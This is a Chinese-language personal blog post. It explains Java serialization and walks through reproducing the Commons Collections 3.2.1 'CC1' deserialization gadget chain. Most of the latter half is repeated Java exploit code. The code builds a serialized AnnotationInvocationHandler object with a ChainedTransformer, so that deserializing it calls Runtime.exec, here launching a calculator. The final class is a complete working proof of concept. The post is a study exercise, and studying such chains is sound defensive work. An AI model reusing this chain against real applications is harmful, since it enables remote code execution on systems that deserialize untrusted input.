Z1d10tのBlog

A note for myself,have fun!

  1. 1. 前言
  2. 2. 序列化
  3. 3. 反序列化
  4. 4. 简单利用
  5. 5. cc1链复现
    1. 5.1. 环境搭建
    2. 5.2. 源头利用点
    3. 5.3. 找链子
    4. 5.4. 理解Entry
    5. 5.5. 继续
    6. 5.6. 问题
      1. 5.6.1.
      2. 5.6.2. 优化
      3. 5.6.3.
    7. 5.7.
  6. 6. 后言:
  7. 7. 感谢:

Java序列化与反序列化+cc链

前言

Java 序列化是指把 Java 对象转换为字节序列的过程便于保存在内存、文件、数据库中,ObjectOutputStream类的 writeObject() 方法可以实现序列化。

Java 反序列化是指把字节序列恢复为 Java 对象的过程,ObjectInputStream 类的 readObject() 方法用于反序列化。

序列化与反序列化是让 Java 对象脱离 Java 运行环境的一种手段,可以有效的实现多平台之间的通信、对象持久化存储

与PHP不同的是php大概是序列化生成一串序列化字符串,而java是生成了字节流文件

PHP通过一串字符串来在各种运行环境中穿梭,而java通过一个字节流文件来穿梭

同时java没有类似于python或者php的魔术函数,它是通过链式调用,也就是套娃的方式来构造恶意链
除此之外我们可以通过重写其默认的readObject()函数我们可以执行一些恶意命令执行函数

序列化

首先需要一个目标类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
package com.Z1d10t;
import com.learn.learning;

import java.io.Serializable;

public class Student implements Serializable {
private String name="Tom";
public int age = 1;

public transient String hobby = "basketball"; //不会参与序列化与反序列化


public String getName() {
return name;
}

public int getAge() {
return age;
}

public void setName(String name) {
this.name = name;
}

public void setAge(int age) {
this.age = age;
}
private void display(String name){
System.out.println("This is "+name);
}
public void see(int age){
System.out.println("Age is "+age);
}

@Override
public String toString() {
return "Student{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}

然后是我们的序列化过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package com.Z1d10t;

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;

public class Serialize {
public static void main(String[] args) throws Exception {
//实例化一个对象
Student stu = new Student();
//创建文件流
//创建一个包含对象进行反序列化信息的数据文件 这里起名为ser.ser可以任意取
FileOutputStream fileOutputStream = new FileOutputStream("ser.ser");
//创建对象输出流
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
//将我们的对象序列化写入对象输出流 也就是ser.ser文件中
objectOutputStream.writeObject(stu);
//释放资源 关闭流
objectOutputStream.close();
fileOutputStream.close();
}

}

需要注意的是 我们要进行序列化与反序列化需要带有 Serializable接口才行

还有关键字transient申明的属性不会参与序列化与反序列化

反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package com.Z1d10t;

import java.io.FileInputStream;
import java.io.ObjectInputStream;

public class Unserialize {
public static void main(String[] args) throws Exception {
//从文件中反序列化对象
FileInputStream fileInputStream = new FileInputStream("ser.ser");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
//恢复对象
Student stu2 = (Student) objectInputStream.readObject();

}

}

可见hobby属性并没有被反序列化

img

简单利用

如果我们在目标类中重写readObject函数 并且进行命令执行

img

1
2
3
4
5
6
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
//执行默认的readObject()方法
in.defaultReadObject();
//执行打开计算器程序命令
Runtime.getRuntime().exec("calc");
}

当我们反序列化执行readObject()的时候 就会自动调用我们的命令函数了

这里需要注意就是我们还是需要执行系统默认设置的in.defaultReadObject();

img

cc1链复现

环境搭建

无脑看这个师傅的链接搭就行了JAVA安全初探(三):CC1链全分析 - 先知社区

需要注意的是 配置好maven之后 就会自动帮我们把Comments-Collections-3.2.1下载到本地仓库

就不用再去找源码了

img

其次还要将其加进去

img

源头利用点

这个链子的源头是Common Collections库中的Transformer接口

寻找一下继承了这个接口的类

img

有很多 但是主角是InvokerTransformer

我们跟进一下

img

发现有我们很熟悉的反射调用那么这里很明显是一个利用点 并且它还支持反序列化 继承了Serializable接口

img

再来看他的构造方法

img

一共三个,分别为方法名,变量类的数组,对象数组

这是一个我们普通的通过反射调用Runtime的过程

img

如果按照上面InvokerTransformer的transform来调用的话 就是这样

img

利用成功

那么这样我们就找到了源头利用点 接下来就是找链子了 链式调用

找链子

去找谁调用了transform方法

有很多类调用了这个方法 但是这里复现TransformedMapcheckSetValue方法

img

这里可以看到方法类型和构造都是protected 所以我们只能内部调用或者子类调用与实例化 不能外部调用去实例化

看看构造函数 返现它传进来一个Map对象然后对他的键和值都进行一些操作

img

向上找 看看谁调用了方法或者构造了实例

发现docorate()方法对它进行了实例化 并且还是static类型 那么就属于是类的方法 直接通过类名.方法名形式调用即可

img

我们先来调用这个函数进行实例化

img

至于这里第二个参数为什么是null 因为checkSetValue只对第二个参数作用了 所以第一个参数传不传都无所谓

TransformedMap这个类的checkSetValue()调用了transform()img

那么继续 看看谁调用了checkSetValue()

发现只有一处调用了这个函数

MapEntry类的setValue()函数

img

MapEntry继承了AbstractMapEntryDecorator这个类 同时TransformedMap也继承了这个类

img

AbstractMapEntryDecorator有setValue()

img

那么相当于子类MapEntry重写了父类的setValue() 其实本质上是重写了Entry这个接口的内置函数

同时父类还有Map.Entry这个接口

img

理解Entry

那么至此 我们现需要了解一下什么Entry

简单说Entry就是Map里的键值对

setValue()是Map类的内置函数

img

常常用来遍历map对象的时候这样使用 从字面意思也能看出是在赋值

img

继续

这个类MapEntry的父类又引入了Map.Entry接口,所以我们只需要进行常用的Map遍历,就可以调用setValue方法

到目前为止来缕一缕思路

for循环遍历transformdMap->调用MapEntrysetValue()->transformdMapcheckSetValue()->InvokerTransformer.transform()

非常完美

img

现在继续来看哪个可利用的类调用了setValue()

如果谁的readObject()函数调用了setValue()那么刚好闭环 岂不美哉???

那么就找到了AnnotationInvocationHandler它的readObject函数直接就调用了setValue()函数

所以反序列化时候就会自动执行

并且还是遍历Entry来执行的 难道这就是天意吗

img

来看他的构造函数

img

接受两个参数 分别是:

继承了注解的Class 看这个类名也知道和注解有关系

是个Map 并且我们可控 可以将之前的transformdMap 传入

但是这个类有个缺陷就是 他没有申明public 也就是说只能在本package调用 如果想要在外部调用 就要用反射 并且只能用全限定方式调用 也就是Class.forName(完整包名)方式

img

这里再认识一下Override它是什么呢 它是一个注解 就是用来解释程序的附加信息 不会影响程序的正常运行 可以简单看作一个注释 当然不严谨 我们跟进一下

img

可以看到它上面还有两个注解

那么这两个注解叫做元注解 他们是用来解释注解的

Target一般是来限制注解的作用对象

Retention来限制注解作用阶段 比如源代码阶段还是程序运行阶段

那么 让我们来运行一下

img

惊了直接调用成功了 这里其实是有问题的 这里并不是我们反序列化调用计算器成功的而是

img

所以要把这一行注释了 一定要注意到这里!!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
package com.Z1d10t.dubug;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.crypto.dsig.Transform;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class Test {
public static void main(String[] args) throws Exception {
Runtime r = Runtime.getRuntime();

// Class<? extends Runtime> runtiomeClass = r.getClass();
// Method runtimeMethod = runtiomeClass.getMethod("exec", String.class);
// Object invokerObject = runtimeMethod.invoke(r, "calc");
InvokerTransformer rlInvokerTransformer = new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"calc"});
//rlInvokerTransformer.transform(r);
HashMap<Object, Object> map = new HashMap<>(); //先创建一个map对象
map.put("Z1d10t","Z1d10t");//任意填
Map<Object,Object> transformdMap =TransformedMap.decorate(map, null, rlInvokerTransformer);
// for(Map.Entry Entry:transformdMap.entrySet()){
// Entry.setValue(r); //注意我们这里都是在传一个对象
// }
Class<?> annotationClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationConstructor = annotationClass.getDeclaredConstructor(Class.class,Map.class);
annotationConstructor.setAccessible(true);
Object o = annotationConstructor.newInstance(Override.class, transformdMap);
serialize(o);
unserialize("ser.ser");


}
public static void serialize(Object object) throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.ser"));
objectOutputStream.writeObject(object);
}
public static void unserialize(String filename) throws Exception{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}


}

那么再让我们执行一次 它没有成功

那么问题出在哪里了呢

问题

Runtime类并没有Serializable接口 所以无法进行序列化和反序列化

img

所以我们需要通过反射获得它的原型类 原型类Class具有Serializable接口的

img

它有一个getRuntime()方法 注意一下这里是没有参数传入的

可以看到直接返回一个Runtime对象 我们可以利用它来反射调用

也就是单列模式img

获得可以反序列化的对象和exec方法

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
package com.Z1d10t.dubug;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.crypto.dsig.Transform;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class Test {
public static void main(String[] args) throws Exception {









Class runtimeReflection = Class.forName("java.lang.Runtime");
Method rReflectionMethod = runtimeReflection.getMethod("getRuntime",null);
//获得对象
Runtime r = (Runtime) rReflectionMethod.invoke(null, null);//静态方法无对象 无参方法
//再来获取exec方法
Method exec = runtimeReflection.getMethod("exec", String.class);
exec.invoke(r,"calc");
//
// //Runtime r = Runtime.getRuntime();
//
//// Class<? extends Runtime> runtiomeClass = r.getClass();
//// Method runtimeMethod = runtiomeClass.getMethod("exec", String.class);
//// Object invokerObject = runtimeMethod.invoke(r, "calc");
// InvokerTransformer rlInvokerTransformer = new InvokerTransformer("exec",
// new Class[]{String.class}, new Object[]{"calc"});
// //rlInvokerTransformer.transform(r);
// HashMap<Object, Object> map = new HashMap<>(); //先创建一个map对象
// map.put("Z1d10t","Z1d10t");//任意填
// Map<Object,Object> transformdMap =TransformedMap.decorate(map, null, rlInvokerTransformer);
//// for(Map.Entry Entry:transformdMap.entrySet()){
//// Entry.setValue(r); //注意我们这里都是在传一个对象
//// }
// Class<?> annotationClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// Constructor annotationConstructor = annotationClass.getDeclaredConstructor(Class.class,Map.class);
// annotationConstructor.setAccessible(true);
// Object o = annotationConstructor.newInstance(Override.class, transformdMap);
// serialize(o);
// unserialize("ser.ser");
//

}
public static void serialize(Object object) throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.ser"));
objectOutputStream.writeObject(object);
}
public static void unserialize(String filename) throws Exception{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}


}

优化

优化为我们一开始的InvokerTransformer调用形式

这里直接给transform穿了一个Runtime.class 这是一个类对象 本质上也是对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
package com.Z1d10t.dubug;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.crypto.dsig.Transform;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class Test {
public static void main(String[] args) throws Exception {
//改为InvokerTransformer调用形式
Method rReflectionMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class
,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);//Runtime.class注意这里用法
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},
new Object[]{null, null}).transform(rReflectionMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);









Class runtimeReflection = Runtime.class;
//Method rReflectionMethod = runtimeReflection.getMethod("getRuntime",null);
//获得对象
//Runtime r = (Runtime) rReflectionMethod.invoke(null, null);//静态方法无对象 无参方法
//再来获取exec方法
//Method exec = runtimeReflection.getMethod("exec", String.class);
//exec.invoke(r,"calc");
//
// //Runtime r = Runtime.getRuntime();
//
//// Class<? extends Runtime> runtiomeClass = r.getClass();
//// Method runtimeMethod = runtiomeClass.getMethod("exec", String.class);
//// Object invokerObject = runtimeMethod.invoke(r, "calc");
// InvokerTransformer rlInvokerTransformer = new InvokerTransformer("exec",
// new Class[]{String.class}, new Object[]{"calc"});
// //rlInvokerTransformer.transform(r);
// HashMap<Object, Object> map = new HashMap<>(); //先创建一个map对象
// map.put("Z1d10t","Z1d10t");//任意填
// Map<Object,Object> transformdMap =TransformedMap.decorate(map, null, rlInvokerTransformer);
//// for(Map.Entry Entry:transformdMap.entrySet()){
//// Entry.setValue(r); //注意我们这里都是在传一个对象
//// }
// Class<?> annotationClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// Constructor annotationConstructor = annotationClass.getDeclaredConstructor(Class.class,Map.class);
// annotationConstructor.setAccessible(true);
// Object o = annotationConstructor.newInstance(Override.class, transformdMap);
// serialize(o);
// unserialize("ser.ser");
//

}
public static void serialize(Object object) throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.ser"));
objectOutputStream.writeObject(object);
}
public static void unserialize(String filename) throws Exception{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}


}

可以看到是一个套一个的形式 有点套娃 那么有没有一个类直接帮我们进行套娃调用呢

答案是有的ChainedTransformer

img

构造函数我们需要将我们链式调用的内容数组传进去 然后它的transform()就可以帮我们进行链式调用

真是太酷啦

最后优化后的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
package com.Z1d10t.dubug;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.crypto.dsig.Transform;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class Test {
public static void main(String[] args) throws Exception {
//改为InvokerTransformer调用形式
// Method rReflectionMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class
// ,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);//Runtime.class注意这里用法
// Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},
// new Object[]{null, null}).transform(rReflectionMethod);
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class
,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);//Runtime.class只有这里是我们可控 其他都是套娃 这里需要理解


//Class runtimeReflection = Runtime.class;
//Method rReflectionMethod = runtimeReflection.getMethod("getRuntime",null);
//获得对象
//Runtime r = (Runtime) rReflectionMethod.invoke(null, null);//静态方法无对象 无参方法
//再来获取exec方法
//Method exec = runtimeReflection.getMethod("exec", String.class);
//exec.invoke(r,"calc");
//
// //Runtime r = Runtime.getRuntime();
//
//// Class<? extends Runtime> runtiomeClass = r.getClass();
//// Method runtimeMethod = runtiomeClass.getMethod("exec", String.class);
//// Object invokerObject = runtimeMethod.invoke(r, "calc");
// InvokerTransformer rlInvokerTransformer = new InvokerTransformer("exec",
// new Class[]{String.class}, new Object[]{"calc"});
// //rlInvokerTransformer.transform(r);
// HashMap<Object, Object> map = new HashMap<>(); //先创建一个map对象
// map.put("Z1d10t","Z1d10t");//任意填
// Map<Object,Object> transformdMap =TransformedMap.decorate(map, null, rlInvokerTransformer);
//// for(Map.Entry Entry:transformdMap.entrySet()){
//// Entry.setValue(r); //注意我们这里都是在传一个对象
//// }
// Class<?> annotationClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// Constructor annotationConstructor = annotationClass.getDeclaredConstructor(Class.class,Map.class);
// annotationConstructor.setAccessible(true);
// Object o = annotationConstructor.newInstance(Override.class, transformdMap);
// serialize(o);
// unserialize("ser.ser");
//

}
public static void serialize(Object object) throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.ser"));
objectOutputStream.writeObject(object);
}
public static void unserialize(String filename) throws Exception{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}


}

记得要将map这里稍加修改一下 对象变了

img

记得35行要注释掉

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
package com.Z1d10t.dubug;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.crypto.dsig.Transform;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class Test {
public static void main(String[] args) throws Exception {
//改为InvokerTransformer调用形式
// Method rReflectionMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class
// ,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);//Runtime.class注意这里用法
// Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},
// new Object[]{null, null}).transform(rReflectionMethod);
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class
,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//chainedTransformer.transform(Runtime.class);//Runtime.class只有这里是我们可控 其他都是套娃 这里需要理解


//Class runtimeReflection = Runtime.class;
//Method rReflectionMethod = runtimeReflection.getMethod("getRuntime",null);
//获得对象
//Runtime r = (Runtime) rReflectionMethod.invoke(null, null);//静态方法无对象 无参方法
//再来获取exec方法
//Method exec = runtimeReflection.getMethod("exec", String.class);
//exec.invoke(r,"calc");
//
// //Runtime r = Runtime.getRuntime();
//
//// Class<? extends Runtime> runtiomeClass = r.getClass();
//// Method runtimeMethod = runtiomeClass.getMethod("exec", String.class);
//// Object invokerObject = runtimeMethod.invoke(r, "calc");
// InvokerTransformer rlInvokerTransformer = new InvokerTransformer("exec",
// new Class[]{String.class}, new Object[]{"calc"});
// //rlInvokerTransformer.transform(r);
HashMap<Object, Object> map = new HashMap<>(); //先创建一个map对象
map.put("Z1d10t","Z1d10t");//任意填
Map<Object,Object> transformdMap =TransformedMap.decorate(map, null,chainedTransformer );
//// for(Map.Entry Entry:transformdMap.entrySet()){
//// Entry.setValue(r); //注意我们这里都是在传一个对象
//// }
Class<?> annotationClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationConstructor = annotationClass.getDeclaredConstructor(Class.class,Map.class);
annotationConstructor.setAccessible(true);
Object o = annotationConstructor.newInstance(Override.class, transformdMap);
serialize(o);
unserialize("ser.ser");
//

}
public static void serialize(Object object) throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.ser"));
objectOutputStream.writeObject(object);
}
public static void unserialize(String filename) throws Exception{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}


}

至此还是执行不了 因为执行AnnotationInvocationHandler下的readObject()我们有条件没有满足

有两个if语句

img

打两个断点我们调试一下

img

发现第一个条件memberType != null是不满足的 就直接出来了

这里memeberType是获取注解中成员变量的名称,然后并且检查键值对中键名是否有对应的名称,而我们所使用的注解Override是没有成员变量的 所以得找一个有成员变量的注解

img

Target注解 注意这里value()并不是函数 而是它的属性 学注解的时候有注意到这个

因此要将Object o = annotationConstructor.newInstance(Override.class, transformdMap);

Override改为Target

并且把这块的key改为value

img

终于进来了

img

在setValue的时候,我们传入的value值根本就不是我们需要的Runtime.class

img

那么我们应该怎么把他转回我们想要的值呢

这里用到了ConstantTransformer

img

这个类里面也有transform,和构造函数配合使用的话

无论我们传入什么值,就会返回构造函数传的那个值,这样就能将value的值转为Runtime.class

至此所有的链就结束了

最终代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
package com.Z1d10t.dubug;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.crypto.dsig.Transform;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class Test {
public static void main(String[] args) throws Exception {
//改为InvokerTransformer调用形式
// Method rReflectionMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class
// ,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);//Runtime.class注意这里用法
// Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},
// new Object[]{null, null}).transform(rReflectionMethod);
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class
,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//chainedTransformer.transform(Runtime.class);//Runtime.class只有这里是我们可控 其他都是套娃 这里需要理解
Class runtimeReflection = Runtime.class;

//Method rReflectionMethod = runtimeReflection.getMethod("getRuntime",null);
//获得对象
//Runtime r = (Runtime) rReflectionMethod.invoke(null, null);//静态方法无对象 无参方法
//再来获取exec方法
//Method exec = runtimeReflection.getMethod("exec", String.class);
//exec.invoke(r,"calc");
//
// //Runtime r = Runtime.getRuntime();
//
//// Class<? extends Runtime> runtiomeClass = r.getClass();
//// Method runtimeMethod = runtiomeClass.getMethod("exec", String.class);
//// Object invokerObject = runtimeMethod.invoke(r, "calc");
// InvokerTransformer rlInvokerTransformer = new InvokerTransformer("exec",
// new Class[]{String.class}, new Object[]{"calc"});
// //rlInvokerTransformer.transform(r);
HashMap<Object, Object> map = new HashMap<>(); //先创建一个map对象
map.put("value","Z1d10t");//任意填
Map<Object,Object> transformdMap =TransformedMap.decorate(map, null,chainedTransformer );
//// for(Map.Entry Entry:transformdMap.entrySet()){
//// Entry.setValue(r); //注意我们这里都是在传一个对象
//// }
Class<?> annotationClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationConstructor = annotationClass.getDeclaredConstructor(Class.class,Map.class);
annotationConstructor.setAccessible(true);
Object o = annotationConstructor.newInstance(Target.class, transformdMap);
serialize(o);
unserialize("ser.ser");
//

}
public static void serialize(Object object) throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.ser"));
objectOutputStream.writeObject(object);
}
public static void unserialize(String filename) throws Exception{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}


}

后言:

虽然跟着视频资料一步一步跟过来了 但是还是不太熟悉 还是得多调试多想

累了 调了几天了 终于结束了

感谢:

组长Java反序列化CommonsCollections篇(一) CC1链手写EXP_哔哩哔哩_bilibili

佬文章 JAVA安全初探(三):CC1链全分析 - 先知社区

本文最后更新于 天前,文中所描述的信息可能已发生改变